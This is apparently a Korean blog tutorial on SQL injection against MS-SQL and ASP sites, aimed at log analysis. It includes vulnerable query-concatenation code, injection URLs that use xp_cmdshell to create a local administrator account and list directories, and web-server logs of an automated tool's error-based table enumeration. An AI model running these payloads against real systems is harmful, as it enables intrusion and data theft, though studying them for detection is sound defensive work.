SQL Injection 공격은 1998년 처음 발표되고, OWASP에서 2003년 부터 지속적으로 심각한 취약점 Top 10으로 꾸준히 발표되고 있다. 최초 공격이 발견되고 대규모 공격 툴들이 사용되면서 많은 기업의 웹 사이트에 피해를 발생 시켰다. 현재도 SQL Injection 공격을 자공화된 공격 형태로 지속적으로 발생하고 있다.

SQL Injection공격은 URL요청 또는 웹 요청에 포함되는 파라미터 값에 SQL 구문이나 시스템 명령을 삽입하는 형태의 공격이다. 웹 사이트에서 많이 사용되는 게시판이나 방명록, 검색 기능과 같이 데이터베이스와 연동하여 사용하는 Web Application을 대상으로 발생되는 공격으로 SQL 쿼리 구문 조작을 통해 인가되지 않은 정보를 조회하거나 데이터베이스 내용을 조작할 수 있다. 혹은 확장 프로시저를 이용할 경우 시스템 명령을 실행할 수 있다.
SQL Injection 공격으로 인한 대표적인 피해 사례는 정보 유출이다. SQL Injection 취약점이 발표되고 취약점을 이용한 공격툴이 많이 제작 되었다. 제작된 툴들은 업그레이드를 통해 기능이 점차 다양해 지고 강력해 졌다. 자동화된 공격툴은 단순 클릭 몇 번만으로도 사이트에 가입한 회원들의 개인정보 획득이 가능하다.
공격의 기본적인 원리에 대해 이해하기 위해 예전 2009년도 집필했던 보안 서적의 관련 자료를 인용해 공격 취약점에 대해 설명한다.

xp_cmdshell명령을 이용해 시스템 명령을 실행 하거나 결과를 파일로 저장 할 수 있다. 최근에 사용되는 데이터베이스의 경우 해당 기능의 강력함으로 기본 설정은 사용이 중지 되어 있다. 하지만 모든 보안사고는 취약한 서버 설정으로 인해 공격이 시작 되듯이 해당 설정이 편의를 위해 사용하는 경우도 있다.
DECLARE @dir sysname, @temp sysname SET @temp = ‘dir C:\’ SET @dir = @temp + ‘ > result.txt’ EXEC master..xp_cmdshell @dir |
이러한 시스템 명령 실행 기능을 이용해 공격자는 데이터베이스에 전달되는 인자 값에 공격을 목적으로 하는 구문을 추가하여 전달한다. 실제 Web Application 파라미터 값이 데이터베이스에 전달 되는 과정에서 공격자에 의해 특정 데이터베이스구문이 추가 되었을 경우 발생되는 결과를 살펴 보자. 아래 코드는 데이터베이스의 특정 게시판의 글을 DB Query 구문을 이용해 가져오는 코드 샘플이다.
function getList(table_key)
dim sql_query, get_list, result
sql_query=”SELECT * FROM Board WHERE table_key=”&table_key
set get_list = conn.execute(sql_query)
getList = result
end function
getList함수는 인자 값을 전달 받아 해당 값을 SQL Query구문에 삽입해 SQL Query를 수행 하고, 수행된 결과를 다시 돌려준다. 위 코드의 table_key 변수가 사용자 또는 Web Application으로부터 전달 받는 파라미터 값이 라고 가정했을 경우 해당 파라미터 값을 아래와 같이 요청할 경우에는 vistor 값 외에 추가로 ‘;exec master..xp_cmdshell ‘net user user_test test4321 /add’;– 구문이 전달된다.
Board=visitor’;exec master..xp_cmdshell ‘net user user_test test4321 /add’;– |
추가된 구문은 앞에서 설명한 확장 저장 프로시저로 user_test 라는 계정을 추가하는 시스템 명령 쉘을 생성한다. 프로그램에 의해 수행되는 전체 SQL 실행 구문을 조합해 보면 다음과 같다.
SELECT * FROM Board WHERE table_key=’;exec master..xp_cmdshell ‘net user user_test test4321 /add’;– |
구문 마지막에 하이픈(-)을 2개 붙인 이유는 뒤쪽에 추가로 붙게 되는 SQL 구문이 있을 경우 구문오류가 발생 할 수 있기 때문에 추가로 붙는 SQL 구문은 주석처리가 되어 구문 오류를 방지하기 위함이다.
관리자 권한으로 계정 추가
오류가 발생된 URL을 이용해 테스트를 진행해 보기로 하자. SQL Injection 취약점을 이용해서 xp_cmdshell을 실행시켜 실제 시스템에 test_user라는 사용자를 추가 한다.
- 사용자계정추가
http://www.test.co.kr/xxx/vul_page.asp?vul_parmeter=1234′;exec master..xp_cmdshell ‘net user user_test test4321 /add’;– |
시스템 명령 net user를 이용해서 user_test 계정을 추가한다.
컴퓨터 관리 > 로컬 사용자 및 그룹 > 사용자

컴퓨터의 로컬 사용자 및 그룹에 사용자 정보를 확인해 보면 SQL Injection공격을 통해 user_test계정이 생성된 것을 확인 할 수 있다.
②추가한 계정의 사용자 관리자 그룹에 구성원 추가
사용자를 추가 한 후 동일한 방식으로 사용자를 administrators그룹에 저장한다 http://www.test.co.kr/ xxx/vul_page.asp?vul_parmeter=0000000001′;exec master..xp_cmdshell ‘net localgroup administrators user_test /add’;– |
시스템 명령 net localgroup을 이용해서 user_test 계정을 관리자 그룹에 구성원으로 추가한다.

관리자 권한의 계정을 공격대상 시스템에 생성 하였고, 외부에서 접근 가능한 Service(Remote Terminal, Telnet, FTP, …)에 접근이 가능해 졌다. SQL Injection 취약점을 이용해 시스템 명령을 실행 하였고, 사용자 계정도 추가 되었다.
복잡한 해킹 공격 과정이 필요 한 것도 아니다. 단순 개발 과정에서 파라미터로 전달되는 입력값의 검증 부재와 편의를 위해 ODBC설정을 sa(설치 시 생성하는 계정으로 SQL서버의 모든 권한을 갖는다)계정으로 연동 함으로써 sa계정 권한으로 시스템 명령 수행이 가능했다.
이때 이용되는 확장저장프로시저는 xp_cmdshell, xp_dirtree 등이 사용된다. 사실 xp_cmdshell의 경우 일반적인 MS-SQL DB와 연동된 웹 프로그래밍에서 사용되지 않는다. 일차적으로 취약점이 노출되어 시스템 계정이 획득되면 차후 재 접근을 용이 하기 위해 시스템에 백도어 파일을 설치 하게 된다.
사용자 추가 시 발생되는 웹 로그
오류가 발생된 URL을 이용해 테스트를 진행해 보기로 하자. SQL Injection 취약점을 이용해서 xp_cmdshell을 실행시켜 실제 시스템에 test_user라는 사용자를 추가 한다.
① SQL Injection취약점을 이용한 사용자 추가 요청 URL
http://www.test.co.kr/xxx/vul_page.asp?vul_parmeter=0000000001 ‘;exec master..xp_cmdshell ‘net user user_test test4321 /add’;– http://www.test.co.kr/xxx/vul_page.asp?vul_parmeter=0000000001 ‘;exec master..xp_cmdshell ‘net localgroup administrators user_test /add’;– |
② Web Server에 기록된 로그
2008-03-27 20:57:16 192.168.228.1 – 192.168.228.100 80 GET /xxx/vul_page.asp?vul_parmeter=0000000001 ‘;exec%20master..xp_cmdshell%20’net%20user%20user_test%20test4321%20/add’;–|123|800a0d5d|Application_uses_a_value_of_the_wrong_type_for_the_current_operation. 500 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+5.1) 2008-03-27 20:59:11 192.168.228.1 – 192.168.228.100 80 GET xxx/vul_page.asp?vul_parmeter=0000000001 ‘;exec%20master..xp_cmdshell%20’net%20localgroup%20administrators%20user_test%20/add’;–|123|800a0d5d|Application_uses_a_value_of_the_wrong_type_for_the_current_operation. 500 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+5.1) |
SQL Injectino 취약점을 이용해 사용자를 추가하는 URL요청 시 실제 웹 응답코드[1]는 500.100으로 내부 오류를 의미 한다.
하지만 응답코드는 Web Application이 오류가 발생되었음을 의미하지만 별개로 Database에 파라미터 값이 전달되어 사용자 계정이 추가 되었다.
실제 수행된 SQL Query
– exec master..xp_cmdshell ‘net user user_test test4321 /add’;– – exec master..xp_cmdshell ‘net localgroup administrators user_test /add’;– |
자동화 공격툴 분석
<HDSI툴 사용시 발생 웹 로그>
예전 많이 사용되었던 HDSI 공격툴은 중국에서 제작된 자동화 공격툴로 SQL Injection 취약점을 이용해 시스템 명령 실행, DB정보 획득, 악성코드 삽입 등의 기능을 제공한다.
먼저 데이터베이스가 노출될 경우 발생하는 웹 로그를 살펴 보자. SQL Injection에 취약한 URL이 존재 할 경우 자동화 공격툴을 이용해 DB에 저장된 정보를 손쉽게 획득할 수 있다. 다음 화면은 자동화된 공격툴을 이용해 데이터베이스 정보를 추출하는 화면 입니다.

공격 시 웹 서버에 기록된 웹 로그는 다음과 같습니다. 자동화된 공격툴을 이용해 취약한 URL의 파라미터로 SQL 인젝션 공격이 이뤄 진다. 삽입된 SQL 구문은 데이터베이스의 테이블 이름을 목록화 하기 위해 셀렉트문을 실행 한다. SQL 쿼리구문 실행 과정에서 오류정보에 테이블 이름을 수집 할 수 있다. 자동화된 공격툴이 실행시킨 SQL문과 유출된 테이블 정보는 웹 로그에 기록 된다.
– 21:06:47 192.168.228.1–192.168.228.100 80 GET / xxx/vul_page.asp?vul_parmeter=0000000001’%20%20And%20(Select%20Top%201%20cast(char(94)%2Bname%2Bchar(94)%20as%20varchar(8000))%20from(Select%20Top%2014%20id,name%20from%20[test]..[sysobjects]%20Where%20xtype=char(85)%20order%20by%20name%20asc,id%20desc)%20T%20order%20by%20name%20desc,id%20asc)>0%20And%20’’=’|7|80040e07|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Syntax_error_converting_the_varchar_value_’^tbl_discussion^’_to_a_column_of_data_type_int. 500
– 21:06:48 192.168.228.1–192.168.228.100 80 GET / xxx/vul_page.asp?vul_parmeter=0000000001’%20%20And%20(Select%20char(94)%2BCast(Count(1)%20as%20varchar(8000))%2Bchar(94)%20From%20[test]..[tbl_discussion]%20Where%201=1)>0%20And%20’’=’|7|80040e07|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Syntax_error_converting_the_varchar_value_’⁰^’_to_a_column_of_data_type_int. 500
SQL Injection 공격은 취약한 URL의 매개변수로 자동화된 공격 도구를 사용하여 수행 된다. URL 정보는 인코딩되어 있으므로 먼저 디코딩해야 한다. 자동 변환 사이트도 있지만 ChatGTP를 이용한 쉽게 파라미터 구문을 확인할 수 있다.

<출처: ChatGPT 답변>
제공된 문자열은 URL 인코딩된 SQL 주입 시도인 것으로 보입니다. SQL 주입은 공격자가 악성 SQL 코드를 주입하여 취약한 SQL 쿼리를 조작하거나 악용하려는 기술입니다.
문자열을 디코딩하면 다음과 같습니다.
0000000001′ And (Select Top 1 cast(char(94)+name+char(94) as varchar(8000)) from(Select Top 14 id,name from [test]..[sysobjects] Where xtype=char(85) order by name asc,id desc) T order by name desc,id asc)>0 And ‘’=’|7|80040e07|
이 문자열은 공격자가 SQL 쿼리를 악용하여 데이터베이스에서 정보를 추출하려는 UNION 기반 SQL 주입 공격을 시도하고 있음을 시사합니다.
SQL 주입 공격을 수행하거나 시도하는 것은 불법이고 비윤리적이라는 점에 유의하는 것이 중요합니다. 보안 취약점이나 시도가 의심되는 경우 해당 기관이나 조직의 보안 팀에 보고하는 것이 좋습니다.
시스템 명령 실행 시 발생되는 웹 로그
실제로 파라미터 값을 통해 시스템 명령이 실행돼도 웹 응답 코드는 500으로 표기 될 수 있다.
2008-03-27 21:18:44 192.168.228.1 – 192.168.228.100 80 HEAD / xxx/vul_page.asp?vul_parmeter =0000000001%27%3B%44%72%6F%70%20%74%61%62%6C%65%20%63%6F%6D%64%5F%6C%69%73%74%20%3B%43%52%45%41%54%45%20%54%41%42%4C%45%20%63%6F%6D%64%5F%6C%69%73%74%20%28%43%6F%6D%52%65%73%75%6C%74%20%6E%76%61%72%63%68%61%72%28%31%30%30%30%29%29%20%49%4E%53%45%52%54%20%63%6F%6D%64%5F%6C%69%73%74%20%45%58%45%43%20%4D%41%53%54%45%52%2E%2E%78%70%5F%63%6D%64%73%68%65%6C%6C%20%22%64%69%72%20%63%3A%5C%22%2D%2D|32|800a004c|경로를_찾을_수_없습니다. 500 Mozilla/3.0+(compatible;+Indy+Library) 2008-03-27 21:18:44 192.168.228.1 – 192.168.228.100 80 GET / xxx/vul_page.asp?vul_parmeter =0000000001’%20And%20(select%20top%201%20char(94)%2Bcast(ComResult%20as%20varchar(8000))%2Bchar(94)%20%20from%20(%20select%20top%201%20ComResult%20from%20[comd_list]%20order%20by%20ComResult%20desc%20)%20as%20as_TableName%20order%20by%20ComResult%20asc%20)>0%20And%20”=’|7|80040e37|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Invalid_object_name_’comd_list’. 500 Internet+Explorer+6.0 |
실제 공격에 해당 되는 구문 쿼리 분석기 실행 결과는 아래와 같다.

실제 수행된 SQL Query
– Drop table comd_list ;CREATE TABLE comd_list (ComResult nvarchar(1000)) INSERT comd_list EXEC MASTER..xp_cmdshell “dir c:\”– – select top 1 char(94)+cast(ComResult as varchar(8000))+char(94) from ( select top 1 ComResult from [comd_list] order by ComResult desc ) as as_TableName order by ComResult asc |
사용되는 공격도구에 따라 로그에 발생하는 패턴이나 SQL 구문은 차이가 조금씩 발생한다. 기본적인 공격 원리에 대한 이해를 통해 공격 로그 분석 시 시스템 영향을 분석한다.
SQL Injection 공격의 시스템 피해 유형과 로그 분석을 위한 주요 공격 패턴에 대해서 살펴 보았다.